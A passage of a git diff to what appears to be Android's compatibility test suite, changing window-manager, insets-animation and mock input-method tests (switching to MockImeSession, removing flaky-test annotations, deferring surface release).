+            mWmState.assertFocusedStack("Fullscreen stack should be focused.",
+                    expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+        }
 
         // Now, tell it to finish itself and ensure that the assistant stack is brought back forward
         mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
@@ -189,6 +200,13 @@
 
     @Test
     public void testAssistantStackFinishToPreviousApp() throws Exception {
+        // If the Assistant is configured to be always-on-top, then the assistant activity
+        // started in setUp() will not allow any other activities to start. Therefore we should
+        // remove it before launching a fullscreen activity.
+        if (isAssistantOnTop()) {
+            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+        }
+
         // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
         // the fullscreen activity is still visible and on top after the assistant activity finishes
         launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
@@ -232,7 +250,8 @@
             // Go home, launch the assistant and check to see that home is visible
             removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
                     WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-            launchHomeActivity();
+            pressHomeButton();
+            resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
             waitForValidStateWithActivityType(
@@ -257,7 +276,8 @@
             // Go home, launch assistant, launch app into fullscreen with activity present, and go
             // back.Ensure home is visible.
             removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
-            launchHomeActivity();
+            pressHomeButton();
+            resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, "true",
                     EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
@@ -266,7 +286,7 @@
 
             final ComponentName homeActivity = mWmState.getHomeActivityName();
             mWmState.waitAndAssertVisibilityGone(homeActivity);
-            pressBackButton();
+            mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
             mWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
             mWmState.waitForHomeActivityVisible();
@@ -319,7 +339,7 @@
             launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, mAssistantDisplayId);
             // Wait for animation finished.
             mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
-            mWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
+            mWmState.assertVisibility(ASSISTANT_ACTIVITY, isAssistantOnTop());
 
             // Launch the assistant again and ensure that it goes into the same task
             launchActivityOnDisplayNoWait(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 042eb48..3ac15bb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -570,7 +570,6 @@
     }
 
     @Test
-    @FlakyTest(bugId=159062106)
     public void testDisallowMultipleTasksInPinnedStack() throws Exception {
         // Launch a test activity so that we have multiple fullscreen tasks
         launchActivity(TEST_ACTIVITY);
@@ -1004,6 +1003,8 @@
     @Test
     @FlakyTest(bugId=156314330)
     public void testFinishPipActivityWithTaskOverlay() throws Exception {
+        // Trigger PiP menu activity to properly lose focuse when going home
+        launchActivity(TEST_ACTIVITY);
         // Launch PiP activity
         launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
         waitForEnterPip(PIP_ACTIVITY);
@@ -1046,7 +1047,6 @@
         assertEquals("onPause", 0, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
     }
 
-    @FlakyTest(bugId = 156003518)
     @Test
     public void testPinnedStackWithDockedStack() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index 00fc83b..e3566b9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -178,18 +178,23 @@
      */
     @Test
     public void testReparentOff() throws Throwable {
+        final SurfaceControl sc = buildDefaultRedSurface(null);
         verifyTest(
                 new SurfaceControlTestCase.ParentSurfaceConsumer () {
                     @Override
                     public void addChildren(SurfaceControl parent) {
-                        final SurfaceControl sc = buildDefaultRedSurface(parent);
-
+                        new SurfaceControl.Transaction().reparent(sc, parent).apply();
                         new SurfaceControl.Transaction().reparent(sc, null).apply();
-
-                        sc.release();
                     }
                 },
                 new RectChecker(new Rect(0, 0, 100, 100), PixelColor.WHITE));
+      // Since the SurfaceControl is parented off-screen, if we release our reference
+      // it may completely die. If this occurs while the render thread is still rendering
+      // the RED background we could trigger a crash. For this test defer destroying the
+      // Surface until we have collected our test results.
+      if (sc != null) {
+        sc.release();
+      }
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 6299fc8..de7ecc8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -19,13 +19,16 @@
 import static android.server.wm.WindowInsetsAnimationControllerTests.ControlListener.Event.CANCELLED;
 import static android.server.wm.WindowInsetsAnimationControllerTests.ControlListener.Event.FINISHED;
 import static android.server.wm.WindowInsetsAnimationControllerTests.ControlListener.Event.READY;
-import static android.server.wm.WindowInsetsAnimationTestBase.showImeWithHardKeyboardSetting;
 import static android.server.wm.WindowInsetsAnimationUtils.INSETS_EVALUATOR;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowInsets.Type.navigationBars;
 import static android.view.WindowInsets.Type.statusBars;
 
 import static androidx.test.internal.runner.junit4.statement.UiThreadStatement.runOnUiThread;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.hasItem;
@@ -33,14 +36,17 @@
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.not;
 import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
 import static org.hamcrest.Matchers.sameInstance;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import android.animation.Animator;
 import android.animation.AnimatorListenerAdapter;
 import android.animation.ValueAnimator;
+import android.app.Instrumentation;
 import android.graphics.Insets;
 import android.os.CancellationSignal;
 import android.platform.test.annotations.Presubmit;
@@ -60,6 +66,10 @@
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -85,7 +95,7 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:WindowInsetsAnimationControllerTests
  */
-//TODO(b/159038873) @Presubmit
+//TODO(b/159167851) @Presubmit
 @RunWith(Parameterized.class)
 public class WindowInsetsAnimationControllerTests extends WindowManagerTestBase {
 
@@ -102,6 +112,13 @@
     @Rule
     public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
 
+    /**
+     * {@link MockImeSession} used when {@link #mType} is
+     * {@link android.view.WindowInsets.Type#ime()}.
+     */
+    @Nullable
+    private MockImeSession mMockImeSession;
+
     @Parameter(0)
     public int mType;
 
@@ -120,15 +137,41 @@
     @Before
     public void setUp() throws Exception {
         super.setUp();
+        final ImeEventStream mockImeEventStream;
+        if (mType == ime()) {
+            final Instrumentation instrumentation = getInstrumentation();
+            assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                    nullValue());
+
+            // For the best test stability MockIme should be selected before launching TestActivity.
+            mMockImeSession = MockImeSession.create(
+                    instrumentation.getContext(), instrumentation.getUiAutomation(),
+                    new ImeSettings.Builder());
+            mockImeEventStream = mMockImeSession.openEventStream();
+        } else {
+            mockImeEventStream = null;
+        }
+
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
         mListener = new ControlListener(mErrorCollector);
-        showImeWithHardKeyboardSetting(mObjectTracker);
         assumeTestCompatibility();
+
+        if (mockImeEventStream != null) {
+            // TestActivity has a focused EditText. Hence MockIme should receive onStartInput() for
+            // that EditText within a reasonable time.
+            expectEvent(mockImeEventStream,
+                    editorMatcher("onStartInput", mActivity.getEditTextMarker()),
+                    TimeUnit.SECONDS.toMillis(10));
+        }
     }
 
     @After
     public void tearDown() throws Throwable {
+        if (mMockImeSession != null) {
+            mMockImeSession.close();
+            mMockImeSession = null;
+        }
         runOnUiThread(() -> {});  // Fence to make sure we dispatched everything.
         mCallbacks.forEach(VerifyingCallback::assertNoRunningAnimations);
     }
@@ -140,6 +183,7 @@
         }
     }
 
+    @Presubmit
     @Test
     public void testControl_andCancel() throws Throwable {
         runOnUiThread(() -> {
@@ -172,6 +216,7 @@
         mListener.assertWasNotCalled(FINISHED);
     }
 
+    @Presubmit
     @Test
     public void testControl_immediately_show() throws Throwable {
         setVisibilityAndWait(mType, false);
@@ -192,6 +237,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_immediately_hide() throws Throwable {
         setVisibilityAndWait(mType, true);
@@ -212,6 +258,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_show() throws Throwable {
         setVisibilityAndWait(mType, false);
@@ -230,6 +277,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_hide() throws Throwable {
         setVisibilityAndWait(mType, true);
@@ -248,6 +296,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_show_interpolator() throws Throwable {
         mInterpolator = new DecelerateInterpolator();
@@ -267,6 +316,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_hide_interpolator() throws Throwable {
         mInterpolator = new AccelerateInterpolator();
@@ -309,6 +359,7 @@
         mListener.assertWasNotCalled(FINISHED);
     }
 
+    @Presubmit
     @Test
     public void testImeControl_isntInterruptedByStartingInput() throws Throwable {
         if (mType != ime()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
index 32255d2..373e1e5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
@@ -19,6 +19,7 @@
 import static android.graphics.Insets.NONE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -32,7 +33,9 @@
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 
+import android.app.Instrumentation;
 import android.content.pm.PackageManager;
+import android.graphics.Color;
 import android.platform.test.annotations.Presubmit;
 import android.view.WindowInsets;
 
@@ -40,10 +43,9 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSessionRule;
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.mockito.InOrder;
 
@@ -56,12 +58,7 @@
 @Presubmit
 public class WindowInsetsAnimationImeTests extends WindowInsetsAnimationTestBase {
 
-    @Rule
-    public final MockImeSessionRule mMockImeSessionRule = new MockImeSessionRule(
-            InstrumentationRegistry.getInstrumentation().getContext(),
-            InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-            new ImeSettings.Builder()
-    );
+    private static final int KEYBOARD_HEIGHT = 600;
 
     @Before
     public void setup() throws Exception {
@@ -69,33 +66,34 @@
         assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
                 mInstrumentation.getContext().getPackageManager().hasSystemFeature(
                         PackageManager.FEATURE_INPUT_METHODS));
+    }
+
+    private void initActivity(boolean useFloating) throws Exception {
+        initMockImeSession(useFloating);
+
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
     }
 
+    private MockImeSession initMockImeSession(boolean useFloating) throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        return MockImeSession.create(
+                instrumentation.getContext(), instrumentation.getUiAutomation(),
+                useFloating ? getFloatingImeSettings()
+                        : new ImeSettings.Builder().setInputViewHeight(KEYBOARD_HEIGHT)
+                                .setDrawsBehindNavBar(true));
+    }
+
     @Test
-    public void testImeAnimationCallbacksShowAndHide() {
-        WindowInsets before = mActivity.mLastWindowInsets;
-        getInstrumentation().runOnMainSync(
-                () -> mRootView.getWindowInsetsController().show(ime()));
-
-        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
-        commonAnimationAssertions(mActivity, before, true /* show */, ime());
-        mActivity.mCallback.animationDone = false;
-
-        before = mActivity.mLastWindowInsets;
-
-        getInstrumentation().runOnMainSync(
-                () -> mRootView.getWindowInsetsController().hide(ime()));
-
-        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
-
-        commonAnimationAssertions(mActivity, before, false /* show */, ime());
+    public void testImeAnimationCallbacksShowAndHide() throws Exception {
+        initActivity(false /* useFloating */);
+        testShowAndHide();
     }
 
     @Test
     @FlakyTest(detail = "Promote once confirmed non-flaky")
-    public void testAnimationCallbacks_overlapping_opposite() {
+    public void testAnimationCallbacks_overlapping_opposite() throws Exception {
+        initActivity(false /* useFloating */);
         WindowInsets before = mActivity.mLastWindowInsets;
 
         MultiAnimCallback callbackInner = new MultiAnimCallback();
@@ -153,4 +151,39 @@
                 callback.imeAnimSteps.get(callback.imeAnimSteps.size() - 1).insets
                         .getInsets(ime()));
     }
+
+    @Test
+    public void testZeroInsetsImeAnimates() throws Exception {
+        initActivity(true /* useFloating */);
+        testShowAndHide();
+    }
+
+    private void testShowAndHide() {
+        WindowInsets before = mActivity.mLastWindowInsets;
+        getInstrumentation().runOnMainSync(
+                () -> mRootView.getWindowInsetsController().show(ime()));
+
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+        commonAnimationAssertions(mActivity, before, true /* show */, ime());
+        mActivity.mCallback.animationDone = false;
+
+        before = mActivity.mLastWindowInsets;
+
+        getInstrumentation().runOnMainSync(
+                () -> mRootView.getWindowInsetsController().hide(ime()));
+
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+
+        commonAnimationAssertions(mActivity, before, false /* show */, ime());
+    }
+
+    private static ImeSettings.Builder getFloatingImeSettings() {
+        final ImeSettings.Builder builder = new ImeSettings.Builder();
+        builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
+        // As documented, Window#setNavigationBarColor() is actually ignored when the IME window
+        // does not have FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS.  We are calling setNavigationBarColor()
+        // to ensure it.
+        builder.setNavigationBarColor(Color.BLACK);
+        return builder;
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index d4e6472..f51708f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -20,6 +20,7 @@
 import static android.server.wm.WindowInsetsAnimationUtils.requestControlThenTransitionToVisibility;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowInsets.Type.ime;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -43,6 +44,7 @@
 import android.view.WindowInsetsAnimation;
 import android.view.WindowInsetsAnimation.Callback;
 import android.view.WindowInsetsController;
+import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethodManager;
 import android.widget.EditText;
 import android.widget.FrameLayout;
@@ -136,8 +138,10 @@
             super.onCreate(savedInstanceState);
             getWindow().requestFeature(Window.FEATURE_NO_TITLE);
             getWindow().setDecorFitsSystemWindows(false);
+            getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
             mTestView = new TestView(this);
             mEditText = new EditText(this);
+            mEditText.setImeOptions(EditorInfo.IME_FLAG_NO_FULLSCREEN);
             mTestView.addView(mEditText);
             mTestView.mEvaluator = () -> {
                 if (mEvaluator != null) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
index 3494c7c..af8ed0b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
@@ -35,9 +35,8 @@
 import static org.mockito.Mockito.spy;
 
 import android.os.Bundle;
-import android.provider.Settings;
+import android.os.SystemClock;
 import android.server.wm.WindowInsetsAnimationTestBase.AnimCallback.AnimationStep;
-import android.server.wm.settings.SettingsSession;
 import android.util.ArraySet;
 import android.view.View;
 import android.view.WindowInsets;
@@ -46,6 +45,8 @@
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.annotation.NonNull;
+
 import org.junit.Assert;
 import org.mockito.InOrder;
 
@@ -157,23 +158,6 @@
         }
     }
 
-    /**
-     * Workaround for b/158637229: force the keyboard to show even when there is a hardware keyboard
-     * during IME related insets tests to avoid issues when testing on devices that have a hardware
-     * keyboard.
-     *
-     * @param tracker the test's {@link ObjectTracker}, used to clean up the setting override after
-     *                the test finishes.
-     */
-    static void showImeWithHardKeyboardSetting(ObjectTracker tracker) {
-        final SettingsSession<Integer> showImeWithHardKeyboardSetting = new SettingsSession<>(
-                Settings.Secure.getUriFor(Settings.Secure.SHOW_IME_WITH_HARD_KEYBOARD),
-                Settings.Secure::getInt,
-                Settings.Secure::putInt);
-        tracker.manage(showImeWithHardKeyboardSetting);
-        showImeWithHardKeyboardSetting.set(1);
-    }
-
     public static class AnimCallback extends WindowInsetsAnimation.Callback {
 
         public static class AnimationStep {
@@ -301,6 +285,10 @@
 
     public static class TestActivity extends FocusableActivity {
 
+        private final String mEditTextMarker =
+                "android.server.wm.WindowInsetsAnimationTestBase.TestActivity"
+                        + SystemClock.elapsedRealtimeNanos();
+
         AnimCallback mCallback =
                 spy(new AnimCallback(WindowInsetsAnimation.Callback.DISPATCH_MODE_STOP));
         WindowInsets mLastWindowInsets;
@@ -319,6 +307,11 @@
             }
         }
 
+        @NonNull
+        String getEditTextMarker() {
+            return mEditTextMarker;
+        }
+
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
@@ -328,6 +321,7 @@
             mView.setOnApplyWindowInsetsListener(mListener);
             mChild = new TextView(this);
             mEditor = new EditText(this);
+            mEditor.setPrivateImeOptions(mEditTextMarker);
             mView.addView(mChild);
             mView.addView(mEditor);
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 55fa3d2..aca3a97 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -17,7 +17,6 @@
 package android.server.wm;
 
 import static android.graphics.PixelFormat.TRANSLUCENT;
-import static android.server.wm.WindowInsetsAnimationTestBase.showImeWithHardKeyboardSetting;
 import static android.view.View.SYSTEM_UI_FLAG_FULLSCREEN;
 import static android.view.View.SYSTEM_UI_FLAG_HIDE_NAVIGATION;
 import static android.view.View.SYSTEM_UI_FLAG_IMMERSIVE;
@@ -35,13 +34,19 @@
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.AlertDialog;
+import android.app.Instrumentation;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Bundle;
@@ -57,10 +62,14 @@
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.annotation.Nullable;
 import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Rule;
 import org.junit.Test;
@@ -181,20 +190,27 @@
     }
 
     @Test
-    @FlakyTest(detail = "b/159038873")
-    public void testImeShowAndHide() {
-        showImeWithHardKeyboardSetting(mObjectTracker);
+    public void testImeShowAndHide() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                nullValue());
+        try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
+                instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
 
-        final TestActivity activity = startActivity(TestActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.getWindowInsetsController().show(ime());
-        });
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.getWindowInsetsController().hide(ime());
-        });
-        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
+            final TestActivity activity = startActivity(TestActivity.class);
+            expectEvent(stream, editorMatcher("onStartInput", activity.mEditTextMarker), TIMEOUT);
+
+            final View rootView = activity.getWindow().getDecorView();
+            getInstrumentation().runOnMainSync(() -> {
+                rootView.getWindowInsetsController().show(ime());
+            });
+            PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
+            getInstrumentation().runOnMainSync(() -> {
+                rootView.getWindowInsetsController().hide(ime());
+            });
+            PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
+        }
     }
 
     @Test
@@ -463,15 +479,18 @@
     }
 
     @Test
-    @FlakyTest(detail = "b/159038873")
     public void testShowImeOnCreate() throws Exception {
-        showImeWithHardKeyboardSetting(mObjectTracker);
-
-        final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
-        PollingCheck.waitFor(TIMEOUT,
-                () -> rootView.getRootWindowInsets().isVisible(ime()));
+        final Instrumentation instrumentation = getInstrumentation();
+        assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                nullValue());
+        try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
+                instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
+            final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
+            final View rootView = activity.getWindow().getDecorView();
+            ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+            PollingCheck.waitFor(TIMEOUT,
+                    () -> rootView.getRootWindowInsets().isVisible(ime()));
+        }
     }
 
     @Test
@@ -619,10 +638,11 @@
         }
     }
 
-    private static View setViews(Activity activity) {
+    private static View setViews(Activity activity, @Nullable String privateImeOptions) {
         LinearLayout layout = new LinearLayout(activity);
         View text = new TextView(activity);
         EditText editor = new EditText(activity);
+        editor.setPrivateImeOptions(privateImeOptions);
         layout.addView(text);
         layout.addView(editor);
         activity.setContentView(layout);
@@ -631,11 +651,13 @@
     }
 
     public static class TestActivity extends FocusableActivity {
+        final String mEditTextMarker =
+                getClass().getName() + "/" + SystemClock.elapsedRealtimeNanos();
 
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            setViews(this);
+            setViews(this, mEditTextMarker);
             getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
         }
     }
@@ -645,7 +667,7 @@
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            View layout = setViews(this);
+            View layout = setViews(this, null /* privateImeOptions */);
             ANIMATION_CALLBACK.reset();
             getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             getWindow().getInsetsController().hide(statusBars());
@@ -654,11 +676,10 @@
     }
 
     public static class TestShowOnCreateActivity extends FocusableActivity {
-
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            View layout = setViews(this);
+            setViews(this, null /* privateImeOptions */);
             ANIMATION_CALLBACK.reset();
             getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             getWindow().getInsetsController().show(ime());
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 77391b9..7ddc020 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -215,6 +215,7 @@
     private static Boolean sHasHomeScreen = null;
     private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
     private static Boolean sSupportsInsecureLockScreen = null;
+    private static Boolean sIsAssistantOnTop = null;
     private static boolean sStackTaskLeakFound;
 
     protected static final int INVALID_DEVICE_ROTATION = -1;
@@ -1092,6 +1093,14 @@
         return sSupportsInsecureLockScreen;
     }
 
+    protected boolean isAssistantOnTop() {
+        if (sIsAssistantOnTop == null) {
+            sIsAssistantOnTop = mContext.getResources().getBoolean(
+                    android.R.bool.config_assistantOnTopOfDream);
+        }
+        return sIsAssistantOnTop;
+    }
+
     /**
      * Rotation support is indicated by explicitly having both landscape and portrait
      * features or not listing either at all.
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 5be50de..b0c66cf 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -613,12 +613,7 @@
     @Override
     public void onStartInput(EditorInfo editorInfo, boolean restarting) {
         getTracer().onStartInput(editorInfo, restarting,
-                () -> {
-                    super.onStartInput(editorInfo, restarting);
-                    if (mSettings.getInlineSuggestionsEnabled()) {
-                        maybeClearExistingInlineSuggestions();
-                    }
-                });
+                () -> super.onStartInput(editorInfo, restarting));
     }
 
     @Override
@@ -727,13 +722,6 @@
         final AtomicInteger mInflatedViewCount;
         final AtomicBoolean mValid = new AtomicBoolean(true);
 
-        PendingInlineSuggestions() {
-            mResponse = null;
-            mTotalCount = 0;
-            mViews = null;
-            mInflatedViewCount = null;
-        }
-
         PendingInlineSuggestions(InlineSuggestionsResponse response) {
             mResponse = response;
             mTotalCount = response.getInlineSuggestions().size();
@@ -780,7 +768,9 @@
             }
             mPendingInlineSuggestions = pendingInlineSuggestions;
             if (pendingInlineSuggestions.mTotalCount == 0) {
-                mView.updateInlineSuggestions(pendingInlineSuggestions);
+                if (mView != null) {
+                    mView.updateInlineSuggestions(pendingInlineSuggestions);
+                }
                 return true;
             }
 
@@ -811,15 +801,6 @@
         });
     }
 
-    @MainThread
-    private void maybeClearExistingInlineSuggestions() {
-        if (mPendingInlineSuggestions != null
-                && mPendingInlineSuggestions.mTotalCount > 0) {
-            mView.updateInlineSuggestions(new PendingInlineSuggestions());
-            mPendingInlineSuggestions = null;
-        }
-    }
-
     /**
      * Event tracing helper class for {@link MockIme}.
      */
diff --git a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
index 343f4f0..4b765ab 100644
--- a/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
+++ b/tests/media/src/android/mediav2/cts/EncoderProfileLevelTest.java
@@ -83,7 +83,7 @@
         }
         final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
                 // Audio - CodecMime, bit-rate, sample rate, channel count
-                {MediaFormat.MIMETYPE_AUDIO_AAC, 64000, 8000, 1, -1},
